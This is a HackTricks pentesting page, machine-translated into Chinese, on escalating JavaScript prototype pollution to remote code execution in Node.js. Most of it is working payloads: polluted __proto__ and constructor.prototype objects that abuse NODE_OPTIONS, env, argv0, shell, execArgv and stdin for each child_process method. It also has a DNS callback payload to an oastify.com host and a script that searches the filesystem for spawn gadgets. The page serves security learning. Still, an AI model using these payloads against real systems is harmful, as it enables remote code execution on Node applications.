Prototype Pollution to RCE
支持 HackTricks
查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
易受攻击的代码
想象一下一个真实的 JS 使用以下代码:
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
PP2RCE 通过环境变量
PP2RCE 意味着 原型污染到 RCE(远程代码执行)。
根据这个 写作,当一个 进程被生成 使用 child_process
的某些方法(如 fork
或 spawn
或其他)时,它调用方法 normalizeSpawnArguments
,这是一个 原型污染工具,用于创建新的环境变量:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
检查代码,你可以看到通过污染属性**.env
可以毒害 envPairs
**。
毒害 __proto__
__proto__
请注意,由于node的**child_process
库中的normalizeSpawnArguments
函数的工作方式,当调用某个函数以设置新的环境变量时,你只需要污染任何东西**。
例如,如果你执行__proto__.avar="valuevar"
,进程将以名为avar
且值为valuevar
的变量启动。
然而,为了使环境变量成为第一个,你需要污染****.env
属性,并且(仅在某些方法中)该变量将是第一个(允许攻击)。
这就是为什么在以下攻击中**NODE_OPTIONS
不在.env
**中的原因。
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
污染 constructor.prototype
constructor.prototype
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
与之前的有效载荷类似,提出了一种有一些变化的有效载荷,详见这篇文章. 主要区别在于:
它不是将nodejs 有效载荷 存储在文件
/proc/self/environ
中,而是存储在/proc/self/cmdline
的 argv0 中。然后,它不是通过
NODE_OPTIONS
要求文件/proc/self/environ
,而是 要求/proc/self/cmdline
。
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
DNS 交互
使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}
或者,为了避免 WAF 询问域名:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE 漏洞 child_process 函数
在本节中,我们将分析 child_process
中的每个函数 以执行代码,并查看我们是否可以使用任何技术强制该函数执行代码:
exec
利用
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');
// stdin trick - not working
// Not using stdin
// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile
利用
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
为了使 **`execFile`** 工作,它 **必须执行 node** 以使 NODE\_OPTIONS 生效。\
如果它 **不** 在执行 **node**,你需要找到如何通过 **环境变量** 来 **改变执行** 的内容并设置它们。
**其他** 技术 **在** 没有这个要求的情况下 **工作**,因为可以通过原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在被执行的内容)。
</details>
<details>
<summary><code>fork</code> 利用</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn
利用
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
利用
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync
利用
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync
利用
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
强制生成
在之前的示例中,您看到如何触发小工具,功能需要调用 spawn
的功能存在(所有用于执行某些操作的**child_process
方法都会调用它)。在之前的示例中,这是代码的一部分**,但如果代码没有调用它呢?
控制 require 文件路径
在这个 其他写作 中,用户可以控制将执行的 require
的文件路径。在这种情况下,攻击者只需找到系统中的一个 .js
文件,该文件在导入时将执行一个 spawn 方法。
一些常见的在导入时调用 spawn 函数的文件示例包括:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
在下面找到更多文件
以下简单脚本将搜索来自 child_process的调用 没有任何填充(以避免显示函数内部的调用):
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
之前脚本发现的有趣文件
node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim();
node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });